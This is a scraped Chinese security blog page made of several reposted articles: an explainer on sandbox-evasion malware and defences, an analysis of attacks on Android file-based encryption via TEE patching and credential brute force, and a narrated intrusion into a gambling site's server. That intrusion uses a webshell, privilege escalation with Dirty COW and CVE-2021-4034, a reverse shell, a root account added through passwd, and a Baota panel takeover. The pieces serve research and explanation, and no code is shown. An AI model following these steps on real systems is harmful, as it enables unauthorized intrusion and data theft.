3.語法示例(1)查詢用戶及對應的權限



 16.png



(2)查詢用戶及對應的口令



 17.png



(3)修改口令



 18.png



0x06 小結在我們搭建好ADManager Plus漏洞調試環境後，接下來就可以著手對漏洞進行學習。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
沙盒是一種行之有效的檢測惡意軟件並阻止其執行的方法。然而，惡意行為者正在尋找方法來教他們的惡意軟件在沙箱中保持不活動狀態。逃避沙箱的惡意軟件可以繞過保護並執行惡意代碼，而不會被現代網絡安全解決方案檢測到。



在本文中，我們分析了惡意軟件用來避免沙箱分析的技術，並分享了我們在Apriorit 中使用的最佳實踐來構建可以檢測和阻止規避惡意軟件的沙箱。



本文對於致力於網絡安全解決方案並希望改進沙箱的開發人員來說非常有用。



什麼是沙箱和沙箱規避惡意軟件？在我們討論逃避沙箱的惡意軟件之前，讓我們先弄清楚什麼是沙箱。 NIST將沙箱定義為“允許不受信任的應用程序在高度受控的環境中運行的系統，其中應用程序的權限僅限於一組基本的計算機權限。”



沙盒解決方案可以是獨立工具，也可以是網絡安全軟件（例如防火牆或防病毒程序）的一部分。通過將潛在危險的程序放入不會造成任何損害的受控虛擬化環境中，安全軟件可以分析可疑代碼的行為並製定針對其的保護措施。



 image.png



儘管沙盒技術被認為是有效的，但網絡犯罪分子現在正在應用讓惡意軟件逃避沙盒分析的技術。



逃避沙箱的惡意軟件可以識別它是否位於沙箱或虛擬機環境中。此類惡意軟件感染在脫離受控環境之前不會執行其惡意代碼。為了隱藏威脅，惡意軟件可以使用反沙箱技術，例如：



加密



環境掃描儀



用戶活動監控



人工智能(AI) 算法



ETC。



我們將在本文後面討論規避技術。現在，讓我們看幾個逃避沙箱的惡意軟件的示例，以了解此類威脅的嚴重性和可能的後果。



逃避沙箱的惡意軟件的真實示例沙箱規避是一種極其常見的攻擊技術，由具有規避能力的惡意軟件引發的網絡安全事故也經常成為新聞報導。



例如，2023 年發現的信息竊取惡意軟件Beep使用17 種規避技術來不被受害者的網絡安全系統檢測到。該惡意軟件可以混淆和反混淆惡意代碼、檢測其是否被跟踪、關閉調試器、隱藏其API 函數等等。在發現時，Beep 仍處於開發階段，因此該惡意軟件現在可能具有更多的沙箱規避功能。



另一種最近發現的惡意軟件Batloader也具有很多反沙箱功能。它可以停止安全軟件服務，避免防病毒解決方案的活動，並將自身偽裝成合法文件。



大多數逃避沙箱的惡意軟件並沒有登上新聞或成為著名網絡安全研究的焦點，僅僅是因為惡意軟件的類型太多。惡意行為者可以使用Python、自動代碼生成和人工智能算法等流行技術來快速開發具有規避功能的惡意軟件。甚至可以說服ChatGPT為您編寫規避惡意軟件。



有數十種沙箱規避技術可以嵌入惡意軟件中。讓我們仔細看看這些技術如何從網絡安全解決方案中隱藏惡意軟件。



最常見的沙箱規避技術MITRE ATTCK 是著名的網絡安全攻擊知識庫，定義了三種關鍵的惡意軟件沙箱規避技術。讓我們看看它們是如何工作的：



 image.png



1. 系統檢查逃避沙箱的惡意軟件可以被編程來識別真實係統的一些在沙箱或虛擬環境中不可用的功能。



 image.png



以下是惡意軟件如何利用系統信息逃離沙箱：



CPU 核心數量和硬件組件。惡意軟件可以發現虛擬系統和物理系統之間的差異（例如CPU 核心數量），並將其用於沙箱檢測。這就是為什麼許多沙箱供應商隱藏其實際配置，使黑客無法檢測沙箱規格。



數字系統簽名。某些惡意軟件旨在查找系統的數字簽名，其中包含有關計算機配置的信息。



已安裝的程序。該技術允許惡意軟件通過查找操作系統中的活動進程來檢查防病毒程序是否存在。



操作系統重新啟動。有些沙箱無法在操作系統重新啟動後繼續存在，因此可以將惡意軟件編程為僅在重新啟動後激活。儘管虛擬環境可能會嘗試通過登錄和註銷用戶來模擬重新啟動，但惡意軟件可以檢測到這一點，因為並非所有重新啟動觸發器都會執行。



系統工件。虛擬機在其內存、進程和文件中包含特定的工件。惡意軟件可以查找虛擬機(VM) 指令以及與I/O 端口的通信等工件，以檢測其是否在沙箱內啟動。



2. 基於用戶活動的檢查用戶以不同的方式與計算機交互，但在沙箱環境中不存在類似人類的交互。因此，黑客可以教惡意軟件等待特定的用戶操作，然後才表現出惡意行為。以下是依賴用戶操作的沙箱檢測技術的一些示例：



 image.png



滾動文檔。現代惡意軟件可以被編程為僅在用戶到達文檔中的特定位置後才執行。 Microsoft Word 文檔中編寫的惡意軟件可能包含用於檢測滾動的特殊段落代碼。沙箱環境不包含任何滾動運動，允許惡意軟件保持休眠狀態。



移動並單擊鼠標。某些惡意軟件經過編程，可以檢查鼠標移動和點擊的速度，如果速度快得可疑、沒有檢測到足夠的鼠標點擊或用戶沒有採取特定操作，則保持不活動狀態。



擁有瀏覽器歷史記錄、緩存和書籤。每天上網的真實用戶會將其歷史記錄和緩存保存在他們的計算機上。沙箱不會有這些，因為它會定期清理瀏覽緩存以刪除潛在的惡意軟件並確保沙箱的正確操作。惡意軟件可以檢查系統是否具有此類信息，如果沒有找到任何信息，則處於休眠狀態。



將文件保存到特定目錄。惡意軟件可以檢查系統是否允許將自定義文件保存到桌面和根文件夾。不建議將文件保存在這些目錄中，因此沙箱不會這樣做。但儘管系統建議，大多數實際用戶仍將文件保存到桌面和根目錄。



3.基於時間的逃避在某些情況下，惡意軟件使用基於計時的技術來逃避沙箱。沙箱通常會在有限的時間內分析惡意軟件，而基於計時的技術很樂意濫用此功能。



以下是三種常見的基於時間的沙箱檢測方法：



 image.png



延長睡眠時間。當惡意軟件使用延長睡眠時，它可以在執行之前成功離開沙箱。



邏輯炸彈。在某些情況下，惡意軟件可以被編程為在特定日期和特定時間執行。



停止代碼。惡意軟件可能包含執行無用CPU 週期的代碼，以延遲惡意代碼的執行，直到沙箱完成測試。



額外的沙箱規避機制在開發惡意軟件時，惡意行為者會嘗試實施盡可能多的規避技術和機制，以確保其代碼的成功。以下是他們用來增強上述技術的關鍵附加機制：



加密和混淆。加密的惡意軟件通常包含解密循環和主體。解密循環對包含惡意代碼的主體進行加密和解密。



IP 地址和DNS 名稱的更改。此機制可幫助惡意軟件隱藏網絡釣魚和惡意軟件傳遞地址。它允許惡意軟件繞過安全解決方案創建的網站黑名單。



隱寫術和多語言。這些類型的惡意軟件將惡意代碼隱藏在代碼的被動部分（例如圖像）中。可以將代碼放置在圖像的元數據和圖像本身中。這種規避方法對於基於瀏覽器的攻擊特別有用。



寡態、多態、變質。惡意軟件可以篡改其解密器，使沙箱更難檢測到惡意代碼。例如，它可以為每種感染和代碼類型創建新的解密器（寡態性），為每個新解密器稍微修改惡意代碼（多態性），或者根據沙箱的屬性使用突變引擎修改惡意代碼（變態性） 。



數據包碎片。安全解決方案通常等待整個流量數據包到達，然後對其進行分析。惡意軟件可以利用此數據包分段協議並僅將惡意代碼作為數據包的一部分發送。



各種各樣的沙箱規避技術和機制使得在安全環境中包含惡意軟件成為一項棘手的任務。在Apriorit，我們可以根據解決方案的性質通過多種方式解決這一挑戰。讓我們看一下我們用來確保惡意軟件遏制的一些最佳實踐。



開發可靠沙箱的最佳實踐我們描述的規避技術可以幫助開發人員更深入地了解沙箱中的惡意軟件檢測。這就是為什麼我們Apriorit 在開髮沙箱時結合了各種網絡安全檢查和防禦措施。以下是您可以在安全解決方案中實施的一些原則，以保護其免受沙箱規避惡意軟件的侵害：



 image.png



1. 模擬真實環境與真實用戶的真實環境相比，虛擬機的運行方式有所不同。現代惡意軟件可以識別差異，例如不頻繁的重新啟動和特定於虛擬機的指令，以及檢測虛假的鼠標點擊和移動。檢索沙箱中的硬件信息將幫助您檢測惡意軟件，該惡意軟件會檢查硬盤大小、最近的文件、CPU 核心數量、操作系統版本、內存容量以及其他系統和硬件特徵。



您還可以配置沙箱以動態更改睡眠持續時間和惡意軟件分析的周期。雖然沙箱通常會分析惡意軟件幾秒鐘，但長時間的分析會隨著睡眠持續時間的增加而顯著增加檢測到惡意軟件的機會。請注意，這種惡意軟件檢測方法需要大量時間。



2、靜動態結合分析沙盒技術是動態代碼分析的一種形式，因為它檢查安全環境中的惡意軟件行為。知道這一點後，許多惡意軟件開發人員嘗試通過將代碼置於睡眠狀態或使其採取盡可能少的操作來逃避動態分析。



要檢測此類惡意軟件，請將靜態代碼分析添加到您的沙箱中。靜態分析檢查潛在惡意軟件是否存在規避技術或加密代碼片段，而不考慮文件活動。此方法對於檢測具有延遲執行腳本的惡意軟件非常有效。但是，您不能僅僅依靠靜態分析來阻止惡意軟件。



3. 實施人工智能人工智能算法可以提高沙箱的準確性，並在執行之前檢測到更多威脅。與傳統的基於規則的網絡安全機制相比，人工智能可以學習檢測零日威脅，適應新的規避技術，並根據其早期行為識別惡意軟件。



您可以添加專注於網絡安全的AI 算法：



模擬真實用戶行為，使惡意軟件認為它位於沙箱之外



分析潛在惡意文件的行為



增強靜態和動態分析



4. 分析文件簽名基於簽名的檢測分析進入系統的每個軟件的獨特數字足跡或簽名。每個防病毒解決方案都有一個已知惡意軟件簽名的內置數據庫。如果新軟件的簽名與該數據庫中的記錄匹配，沙箱會自動刪除或隔離該軟件。



然而，簽名檢查無法阻止動態變化的惡意軟件。為了檢測此類威脅，請考慮實施循環冗餘校驗的計算。校驗和有助於驗證正在分析的文件自進入系統以來沒有發生更改。



5、採用內容解除和重構技術內容解除和重建(CDR) 是一種網絡安全技術，可從文件中刪除任何可疑代碼。為了確定代碼是否可疑，CDR 使用系統策略和定義。這項技術通常被認為是沙箱的對立面，但它可以作為其他安全解決方案的附加技術。



CDR 從文件中刪除所有活動內容，並向用戶提供經過清理的文檔。它允許您立即阻止隱藏在文檔中的惡意軟件，但存在損壞包含腳本（例如用JavaScript 編寫的Office 宏）的文件的風險，即使它們不是惡意的。



6.讓時間過得更快延遲惡意代碼的執行是惡意軟件的基本規避策略之一。沙箱不是全天候（24/7）活動的，因此即使是最簡單的惡意軟件也可以通過讓自己休眠幾個小時來逃避安全檢查。因此，當沙箱處於活動狀態時，它可能會將惡意文件誤認為是安全文件。



檢測逃逸惡意軟件的一種方法是在沙箱激活時更改虛擬機的時間配置。這樣，您就能夠誘騙惡意軟件喚醒並執行其惡意代碼。另一種選擇是讓虛擬機內的時間過得更快，並簡單地等待惡意軟件的休眠期結束。



7. 在單獨的環境中部署沙箱即使是最安全的沙箱也可能在某些時候崩潰並讓惡意軟件進入您的環境。為了防止這種情況發生，請將沙箱部署在與主沙箱不同的環境中。例如，您可以使用雲部署、訪問受限的遠程端點或其他虛擬機。



結論逃避沙箱的惡意軟件旨在逃避基於沙箱技術的保護程序的檢測。這意味著傳統的惡意軟件檢測方法無法有效對抗此類惡意軟件。要開發可以檢測和阻止惡意軟件的沙箱，您需要結合各種網絡安全技術、方法和工具。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
cool-picture.png



Android FBE的背景我們將在本文介紹分析靜態數據加密。 Android FBE是Android Full Disk Encryption的簡稱,是一種安全機制,用於對Android設備的所有數據進行加密,保護用戶的個人隱私和敏感數據。



簡而言之，此功能允許永遠不以明文形式存儲文件，以防止攻擊者通過簡單地提取存儲設備來讀取它們。相反，文件在加載到內存中時（例如，通過文本編輯器）會自動解密，並在寫回磁盤時再次加密。這要歸功於操作系統的支持，Android歷來使用兩種方法：全磁盤加密（FDE）和基於文件的加密（FBE）。顧名思義，基於文件的加密在文件級工作。也就是說，每個文件都有自己的密鑰，並且可以獨立於其他文件進行解密。 Android依賴於Linux內核特性fscrypt來實現這一點，該特性在Ext4和F2FS等各種文件系統中都得到支持。在為目錄樹獲得主密鑰之後，系統將為文件、目錄和符號鏈接檢索單獨的密鑰。



由於採用了文件級方法，FBE實現非常精確。 Android利用這一點將文件劃分為兩個加密級：



設備加密（DE）：文件在啟動後立即可用；



憑證加密（CE）：文件只有在用戶進行身份驗證後才可用（這是用戶數據的選擇級別）。



在啟動設備時自動派生DE密鑰，考慮到這一點以及它所保護的數據類型，從攻擊者的角度來看，它並不是特別有趣。然而，值得注意的是，這是直接啟動功能的基礎，允許在用戶進行身份驗證之前解鎖設備的某些功能，比如警報。



儘管如此，由於攻擊者的目標可能是檢索私有數據，因此本文主要關注CE密鑰。派生它的步驟相當複雜，過程從系統擁有的一些DE保護文件（在/data/system_DE//spblob中）開始。最終密鑰的原始字節實際上是從憑證的原始字節派生出來的。儘管過程複雜，但這意味著無論攻擊者可以利用多少漏洞，他們仍然需要暴力破解憑證以將其提供給密鑰派生過程。



使用TrustZone派生CE密鑰1.png



上圖顯示了派生CE密鑰所需的不同組件是如何鏈接在一起的。如上所述，這是一個相當複雜的過程，所以我們建議在一個單獨的選項卡中打開圖片。對於沒有配備安全芯片的設備，密鑰派生來自兩個不同的受保護組件：



特權用戶（system或root）擁有的文件：普通用戶無法訪問；



TEE保護密鑰：這些密鑰只能在TEE內部由Keymaster應用程序使用。這些密鑰也是與身份驗證綁定的，因此只有在用戶成功通過身份驗證時才能使用它們。



這意味著攻擊者應該能夠提升權限並篡改可信執行環境，以便提取密鑰或能夠在身份驗證之前使用密鑰。為此，我們有必要了解Gatekeeper如何進行身份驗證。



使用Gatekeeper進行身份驗證2.png



Gatekeeper是TEE中經常出現的可信應用程序（TA）之一，通過與相應的Android守護進程以及硬件抽象層通信，它在驗證用戶的身份驗證憑證方面發揮著關鍵作用。請注意，Gatekeeper僅通過PIN/密碼/模式參與身份驗證，而其他TA用於支持生物識別。儘管如此，當用戶在啟動設備時首次進行身份驗證時，他們無法使用生物識別技術，原因恰恰與數據加密有關。



Gatekeeper實現了兩個概念上簡單的命令：Enroll和Verify。通常在用戶首次設置身份驗證因素或更改身份驗證因素時調用Enroll。該命令接受一個所謂的密碼（pwd）blob，對其進行簽名，然後返回，將其轉換為密碼句柄。密碼blob是從憑證創建的，憑證首先使用scrypt進行擴展，然後與哈希字符串組合。用於簽名所提供的密碼的密鑰是Gatekeeper的內部密鑰，用於驗證憑證。這樣的功能是通過Verify命令實現的，而在用戶嘗試進行身份驗證時調用該命令。顧名思義，它驗證當前身份驗證嘗試的密碼blob是否有效。它通過計算其HMAC並將其與原始密碼句柄進行比較來實現這一點，原始密碼句柄也與命令一起發送。



Scrypt是一個密鑰派生函數，在這種情況下，它通過需要大量內存來減緩自定義硬件攻擊。它的參數與憑證的鹽值一起存儲在一個文件中。這意味著每次身份驗證嘗試的延遲可以忽略不計，但卻讓需要多次進行身份驗證的攻擊者減慢了速度。



如果身份驗證成功，Gatekeeper將創建一個身份驗證（auth）令牌。這是一個標準格式的簽名令牌（如AOSP中指定的），旨在防止重放攻擊。此令牌證明用戶已通過身份驗證，需要發送給Keymaster TA以解鎖綁定身份驗證的密鑰。如果身份驗證嘗試失敗，Gatekeeper的節流機制就會啟動，使暴力破解變得不可能。這是與實現相關的，但通常TA存儲有關每個失敗請求的時間的信息，並在此類失敗請求的頻率變得可疑時開始返回錯誤。當用戶再次成功進行身份驗證時，計數器將重置。



合成密碼用戶通過身份驗證後，系統就有了一個有效的applicationId。在真正成為CE密鑰之前，還需要經過幾個步驟。對我們來說，第一個也是更有趣的是合成密碼的推導過程。檢索到這些信息後，還有許多一些操作，但是這些步驟不需要用戶或某些受信任的組件提供任何信息。



 3.png



合成密碼存儲在Android文件系統中，必須用兩個不同的密鑰解密。第一個是存儲在Android Keystore中的常規密鑰，該密鑰受TEE保護並綁定身份驗證。由於這些密鑰永遠不會離開TEE，因此它們以加密形式存儲，並且需要在Keymaster TA中進行解密。除此之外，如上所述，只有當命令還包含先前由Gatekeeper生成的驗證令牌並且仍然有效時，才能使用它們。一旦在TEE中完成了第一次解密，就使用哈希的applicationId作為密鑰再次解密中間緩衝區。注意，這裡的AES是使用GCM模式完成的，如果密鑰出現問題，則由於標記不匹配而導致操作失敗。



此時，攻擊者基本上需要完成三件事才能恢復CE密鑰。首先，他們需要能夠檢索特權用戶擁有的文件，這很可能是利用了一個包含多個漏洞的內核漏洞。然後，他們還必須篡改TEE，要么從Keymaster洩露所需的密鑰，要么攻擊Gatekeeper中的憑證驗證和認證令牌生成。最後，他們需要對獲得的信息執行暴力破解。



用於Gatekeeper的PoC研究人員在三星A22設備（更準確地說是在A226B和A225F）上實現了PoC，這些設備使用來自Mediatek 的兩個易受攻擊的SoC： MT6769V和MT6833V，可以使用MTKClient利用。該工具與下載模式（類似於高通soc上的EDL模式）交互，該模式暴露了一個USB接口，該接口最初用於在其上執行支持操作（例如刷新固件）。要觸發該漏洞，就必須物理訪問，並且在某些設備（如A225F）上，必須在設備PCB上短路兩個引腳才能進入下載模式。一旦設備以正確的模式啟動，該工具利用Boot ROM漏洞，然後修改BL2（在Mediatek 啟動模式中稱為preloader）以禁用下一個安全啟動檢查，最後將其加載到設備上並在其上啟動。



 4.png



但要實現攻擊，就需要修復以下組件：



1.BL3，它被稱為小內核（簡稱為LK），禁用Android驗證啟動檢查，因為我們想要啟動修改的Android映像；



2.Android系統（在本示例中為啟動鏡像），授予我們root訪問權限，並修改供應商分區中存在的Gatekeeper Trusted應用程序；



3.TEE操作系統（稱為TEEGRIS）禁用對受信任應用程序的驗證。



獲得Android系統最高權限（AndroidRooting）



為了實現AndroidRooting，我們使用了Magisk。用修復的Gatekeeper TA替換它，我們只需要在SPU分區中創建一個新文件，然後Magisk的init程序在啟動時將其安裝在現有文件的位置。這種方法的優點是，它可以簡單地替換任何文件，因為我們只需要將它放在復制目錄樹的SPU分區中。



一旦完成，我們就可以對設備進行root訪問，然後使用它來訪問CE密鑰派生中涉及的文件。



修復TEEGRISTEEGRIS是三星設計的TrustZone操作系統，可以在Exynos和Mediatek 的soc上找到。它的設計和逆向工程已經被介紹了很多次，所以本文只關注我們需要修復的部分來實現我們的目標：執行修改後的TA。在本文的示例中，我們決定修復Gatekeeper，以繞過句柄驗證並始終生成有效的驗證令牌。



TEEGRIS分為幾個鏡像：



tee1.img：它包含Arm Trusted Firmware（在監視器模式下以最高權限執行-EL3）、Secure World內核和一個名為userboot.so的二進製文件。最後一個對我們來說非常重要，因為它用於加載和驗證TEEGRIS的根文件系統。



tzar.img：這是TEEGRIS的根文件系統，以逆向工程的自定義壓縮格式存儲。它包含可供其他庫使用但也可供TA使用的庫，以及二進製文件，其中包括一個名為root_task的二進製文件，負責驗證和運行Android提供的TA。



super.img：它是包含幾個邏輯分區的Android主分區。其中之一是供應商分區，包含大多數TA，包括Gatekeeper。



 5.png



總而言之，我們需要修復userboot。所以二進制禁用驗證的TZAR。然後，我們修復root_task以禁用TA的驗證，這樣終於可以修復Gatekeeper了。



修復GatekeeperGatekeeper用於驗證用戶的憑證。驗證使用密鑰派生函數（KDF）生成一個惟一的值，然後可以將該值與作為參數傳遞的預期值進行比較。在Trusty TEE實現中，KDF實際上是一個使用內部密鑰的HMAC。對於TEEGRIS來說，KDF似乎是一個自定義的，顯然是在加密驅動程序中實現的，至少在基於exynos的設備上，它依賴於內部加密處理器。



如果憑證匹配，Gatekeeper生成一個auth_token並將其發送回Android，以便它可以附加到Keymaster請求。需要注意的是，這是Keymaster解密身份驗證綁定密鑰所必需的，例如加密的合成密碼。這裡有幾個選項，但我們決定修復兩個值之間的比較，以確保接受任何憑證。這是可能的，因為auth_token生成機制不使用憑證中的任何位。由於進行過修改，每次我們輸入一些憑證時，Gatekeeper都會生成令牌並返回成功，使系統相信它可以繼續下一步來解鎖設備。可以肯定的是，它不能用錯誤的憑證解密用戶數據。但是在嘗試之前，Keymaster任務必須執行合成密碼的第一次解密（它被加密了兩次）。



 6.png



我們可以按照這個辦法盜取第一個AES解密操作的結果。該設備是根設備，使用Frida，我們可以在SyntheticPasswordCrypto.decryptBlob中暫停請求該操作的system_server進程。檢索到該值後，我們就可以開始強制使用憑據了。



暴力破解憑證暴力破解的代碼如下所示：



 7.png



從設備加密的文件中檢索scrypt的參數。顧名思義，value_leaked_from_keymaster就是我們通過Frida盜取的值。由於此AES_Decrypt函數背後使用的GCM操作模式，如果密鑰是錯誤的，解密將失敗，我們知道我們需要選擇另一個密碼。如果成功，就意味著我們找到了正確的值。具體視頻請點此。



就性能而言，暴力執行腳本肯定可以改進。如上所述，即使只是簡單地將它移動到一個一般功能的VM上，也有顯著的改進。使用專用硬件會有所不同，但這不是我們PoC的重點，我們更願意把重點放在實現暴力執行所需的過程上。



利用安全芯片派生CE密鑰



 8.png



上圖顯示了使用安全芯片時如何派生CE密鑰。該模式與上一部分中介紹的模式非常相似，主要區別在於引入了一個名為Weaver的新組件，並用於生成applicationId。



使用Weaver進行身份驗證Weaver是一個依賴於安全芯片來存儲密鑰和值的服務，每個值被分配到一個唯一的插槽。它公開了一個由三個命令組成的非常簡單的API：



Read：在輸入中提供插槽編號和密鑰，如果密鑰正確，則接收相關值；



write：提供要存儲的插槽編號、密鑰和值；



getConfig：檢索Weaver實現的配置信息。



與Gatekeeper類似，Weaver實現了一種節流機制，該機制在多次讀取嘗試失敗後生效。



 10.png



當安全芯片可用時，使用scrypt生成的令牌將轉換為Weaver密鑰，然後將該密鑰與存儲在設備加密文件（/data/system_de/



最後，將令牌和哈希密鑰組合起來生成applicationId，從中派生出的CE密鑰與Gatekeeper模式中提供的密鑰相同。



Weaver的PoC隨著安全芯片在越來越多的設備中變得越來越流行，Weaver是Android系統中相對較新的成員。在Quarkslab，研究人員花了很多時間研究Titan M芯片，這是谷歌在Pixel 3中引入的。



總結Android磁盤加密絕對是一個突破性的功能，其安全性可以說是密不透風，設計者通過組合不同組件的功能，很好的保護了Android系統數據，攻擊者只有找到非常強大的漏洞才能發起攻擊。另外，受信任的芯片又把安全級別提高到了一個新的高度。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
从某个大哥手里拿到一个菠菜得day，是一个任意文件上传得0day，通过任意文件上传获取到webshell，但是扫描端口能看到开启了宝塔。
图片
然后就出现了下面的问题。
图片
使用哥斯拉的bypass插件可以执行命令。
图片
用户为WWW，宝塔的默认用户，接下来就是常规操作，提权、SSH登陆拿宝塔。
先进行提权，上传脏牛然后看能够使用的提权exp。
图片
图片
图片
运行之后使用CVE-2021-4034进行提权，先把EXP文件上传到菠菜服务器。
图片
反弹shell，然后进入exp文件夹编译运行即可获取到root权限。
图片
图片
图片
获取到root权限之后就办事了，创建账户、赋权限即可。反弹的shell因为vim不了，然后就把他passwd文件保存在本地然后第三列给0，这样子登陆在之后就是root。
图片
创建的账户是ftpp，然后保存为passwd文件上传到web目录，使用提权后的root权限先删除passwd然后在copy过去即可。
图片
图片
因为这个服务器有宝塔控制面板，所以先进入/www/server/panel/data,这个文件夹里面有一个default.db文件，这个是宝塔的配置数据文件。保存在本地之后修改他的宝塔密码，登陆即可。然后在结束之后记得把db数据文件还原回去，这样他的密码还是原来的密码。
图片然后修改密码登陆即可。
通过登陆可以看到站点的完整信息，还有数据库密码，web目录，还有他的手机号，但是手机号只有前三后四，中间四位是*号，之前查手机号的办法也没用了，其实打到这里就可以，交给警察叔叔抓人就可以了。
图片


转自于原文链接： https://mp.weixin.qq.com/s/iUipOa4BI8mCBJ7o2QgJrA